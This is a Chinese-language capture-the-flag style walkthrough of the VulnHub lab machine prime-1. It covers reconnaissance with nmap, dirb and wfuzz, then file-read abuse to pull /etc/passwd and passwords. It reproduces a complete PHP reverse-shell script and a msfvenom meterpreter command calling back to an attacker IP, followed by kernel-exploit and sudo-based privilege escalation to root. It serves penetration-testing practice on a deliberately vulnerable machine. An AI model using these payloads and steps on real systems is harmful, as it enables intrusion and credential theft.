渗透测试靶机 prime-1
渗透测试靶机 prime-1
下载镜像:https://www.vulnhub.com/entry/prime-1,358/
![image-20211004155322394](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211004155322394.png)
从VMware打开虚拟机,prime-1如下图
网络适配器为NAT模式,可以直接点击右上角的图标,获取ip地址信息,也可以使用nmap进行扫描
nmap -sP 192.168.87.1/24 (P:ping 、24:c类地址),虚拟网络编辑器中可以知道NAT模式的子网是多少
![image-20211004160905831](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211004160905831.png)
![image-20211004160707888](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211004160707888.png)
扫描端口,找到对应的服务信息 ,nmap -p 1-65535 -A 192.168.87.152
可以知道只有22(ssh),80(http)端口开放
![image-20211004200620771](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211004200620771.png)
知道了ip,可以尝试进行访问,发现如下页面
可以从此页面收集一些有关信息,如页面源代码、扫描目录、cms指纹信息、版本信息等
御剑扫描目录:
![image-20211004165804805](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211004165804805.png)
dirb扫描 (man dirb了解扫描的参数方法)
![image-20211004165733722](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211004165733722.png)
common.txt字典还不错,可以下载到本地windows,(可以copy粘贴到桌面,也可以使用sz file 文件名)
![image-20211004172904002](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211004172904002.png)
![image-20211004175942955](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211004175942955.png)
尝试访问/dev文件,也可以curl x.x.x.x/dev
![image-20211004171021661](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211004171021661.png)
![image-20211004170743272](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211004170743272.png)
尝试添加一些dirb参数,-X 指定一些关键后缀名:dirb http://192.168.87.152 -X .txt,.php,.zip
![image-20211004180951221](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211004180951221.png)
扫描到了3个文件,可以尝试访问一下
![image-20211004183602861](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211004183602861.png)
![image-20211004183835103](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211004183835103.png)
fuzz模糊测试,测试一下php文件参数
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.87.152/index.php?FUZZ
![image-20211004184735118](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211004184735118.png)
找不一样的返回值,为正确值
过滤words单词数为12的,--hw 12 (wfuzz -h )
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://192.168.87.152/index.php?FUZZ
![image-20211004193312160](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211004193312160.png)
知道参数为:index.php?file , 思考:是否存在文件读取漏洞?
根据前面得到的location.txt ,尝试访问:http://192.168.87.152/index.php?file=location.txt
![image-20211004194255503](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211004194255503.png)
获得正确参数secrettier360,访问:http://192.168.87.152/image.php?secrettier360
![image-20211004194745066](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211004194745066.png)
尝试读取敏感文件信息,如:/etc/passwd, http://192.168.87.152/image.php?secrettier360=/etc/passwd
发现提示信息,password.txt 在/home/saket目录下
![image-20211004195850647](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211004195850647.png)
利用文件读取,获取密码信息
![image-20211004200203430](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211004200203430.png)
尝试登录22号端口ssh服务,ssh -p 22 victor@192.168.87.152, 发现密码不对
接着,往80端口的http服务wordpress方向进行
可以使用cmseek 扫描版本,也可以使用wpscan
wpscan --url http://192.168.87.152/wordpress/ --enumerate u
![image-20211004212129932](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211004212129932.png)
![image-20211004212209201](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211004212209201.png)
![image-20211004212550748](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211004212550748.png)
获取到用户名为victor,当然wordpress页面也有,登录WordPress,用户名:victor ,密码:follow_the_ippsec
看能否找到可以写入php代码的地方,上传一句话木马
找到了,但是出于考虑这里用反弹shell的方式(因为不知道靶机的环境,如内网、防火墙、动态ip、杀毒软件)
可以找一些php反弹shell的代码,也可以用msf生成反弹shell的payload
`
点击查看代码
<?php`
`error_reporting (E_ERROR);`
`ignore_user_abort(true);`
`ini_set('max_execution_time',0);`
`$os = substr(PHP_OS,0,3);`
`$ipaddr = '192.168.87.128';`
`$port = '6666';`
`$descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"));`
`$cwd = getcwd();`
`$msg = php_uname()."\n------------Code by Spider-------------\n";`
`if($os == 'WIN') {`
`$env = array('path' => 'c:\\windows\\system32');`
`} else {`
`$env = array('path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');`
`}`
`if(function_exists('fsockopen')) {`
`$sock = fsockopen($ipaddr,$port);`
`fwrite($sock,$msg);`
`while ($cmd = fread($sock,1024)) {`
`if (substr($cmd,0,3) == 'cd ') {`
`$cwd = trim(substr($cmd,3,-1));`
`chdir($cwd);`
`$cwd = getcwd();`
`}`
`if (trim(strtolower($cmd)) == 'exit') {`
`break;`
`} else {`
`$process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);`
`if (is_resource($process)) {`
`fwrite($pipes[0],$cmd);`
`fclose($pipes[0]);`
`$msg = stream_get_contents($pipes[1]);`
`fwrite($sock,$msg);`
`fclose($pipes[1]);`
`$msg = stream_get_contents($pipes[2]);`
`fwrite($sock,$msg);`
`fclose($pipes[2]);`
`proc_close($process);`
`}`
`}`
`}`
`fclose($sock);`
`} else {`
`$sock = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);`
`socket_connect($sock,$ipaddr,$port);`
`socket_write($sock,$msg);`
`fwrite($sock,$msg);`
`while ($cmd = socket_read($sock,1024)) {`
`if (substr($cmd,0,3) == 'cd ') {`
`$cwd = trim(substr($cmd,3,-1));`
`chdir($cwd);`
`$cwd = getcwd();`
`}`
`if (trim(strtolower($cmd)) == 'exit') {`
`break;`
`} else {`
`$process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);`
`if (is_resource($process)) {`
`fwrite($pipes[0],$cmd);`
`fclose($pipes[0]);`
`$msg = stream_get_contents($pipes[1]);`
`socket_write($sock,$msg,strlen($msg));`
`fclose($pipes[1]);`
`$msg = stream_get_contents($pipes[2]);`
`socket_write($sock,$msg,strlen($msg));`
`fclose($pipes[2]);`
`proc_close($process);`
`}`
`}`
`}`
`socket_close($sock);`
`}`
`?>`
-
用msf生成payload
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.87.128 lport=7777 -o shell.php
将shell.php的代码复制过来,Update File
启动控制台,msfconsole //banner,可以换每次启动的图形(( •̀ ω •́ )✧)
![image-20211005151210163](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211005151210163-16348693119954.png)
1.启动监听模块:use exploit/multi/handler
2.输入php类型反弹连接:set payload php/meterpreter/reverse_tcp //和前面一致
3.指定监听的主机和端口:set lhost 192.168.87.128 --> set lport 7777
4.开始监听:exploit/run
![image-20211005152231409](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211005152231409-16348693140035.png)
下发指令,找到写入代码的secret.php
![image-20211005152554749](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211005152554749-16348693155896.png)
访问这一文件:/wordpress/wp-content/themes/twentynineteen/secret.php
![image-20211005153049721](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211005153049721-16348693170277.png)
发现反弹成功
现在可以通过执行一些命令,获取版本信息,然后利用版本相对应的漏洞
getuid、sysinfo
Linux ubuntu 4.15.0-142-generic #146~16.04.1-Ubuntu
打开msfconsole,搜索系统版本漏洞,searchsploit 16.04 Ubuntu
如果版本是4.10 的话,则可以使用下面的方法,
将脚本文件复制到root目录下,cp /usr/share/exploitdb/exploits/linux/local/45010.c ./
![image-20211005160134568](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211005160134568-163486932433211.png)
编译,gcc 45010.c -o 45010
![image-20211005160357156](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211005160357156-163486932630012.png)
在meterpreter窗口,cd /tmp
upload /root/45010 /tmp/45010
shell //进入shell窗口
chmod +x 45010 //添加可执行权限
./45010 //执行
![image-20211005162205414](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211005162205414-163486933289114.png)
我的是4.15版本的,
- 尝试使用内核进行本地提权
background
back
use exploit/linux/local/bpf_sign_extension_priv_esc
set session 1
exploit
![image-20211005185948722](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211005185948722-163486933443515.png)
也是版本问题,运行不了
- 通过执行enc进行提权
切换到shell,
执行:python -c 'import pty;pty.spawn("/bin/bash")'
![image-20211005165243830](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211005165243830-163486933635616.png)
sudo -l ,可以看到/home/saket/enc
![image-20211005165459704](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211005165459704-163486933771617.png)
执行 ./enc,发现需要密码,一番搜索后,找到了
cd opt/backup/server_database
cat backup_pass
![image-20211005170219174](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211005170219174-163486933988318.png)
因为权限原因,用sudo执行enc,
sudo ./enc -->输入密码:backup_password
cat enc.txt、cat key.txt
根据提示,需要将ippsec用md5加密,然后当做密钥用来解密enc.txt
用md5加密;https://www.cmd5.com/
![image-20211005172203851](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211005172203851-163486934674020.png)
然后对enc.txt的内容进行解密:https://www.devglan.com/online-tools/aes-encryption-decryption
![image-20211005173425575](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211005173425575-163486934854721.png)
将生成的信息,用burpsuite base64解码
得到用户:saket ,密码:tribute_to_ippsec
su saket,切换用户,输入密码,执行sudo -l
然后根据提示信息,sudo /home/victor/undefeated_victor
发现/tmp/challenge不存在,那么可以切换到/tmp目录下写入 /bin/bash 进行提权
cd /tmp --> echo "bin/bash" > challenge
chmod +x challenge //加入可执行权限
![image-20211005175149928](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211005175149928-163486935719525.png)
接下来,提权,获得root权限
![image-20211005175800338](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20211005175800338-163486935885126.png)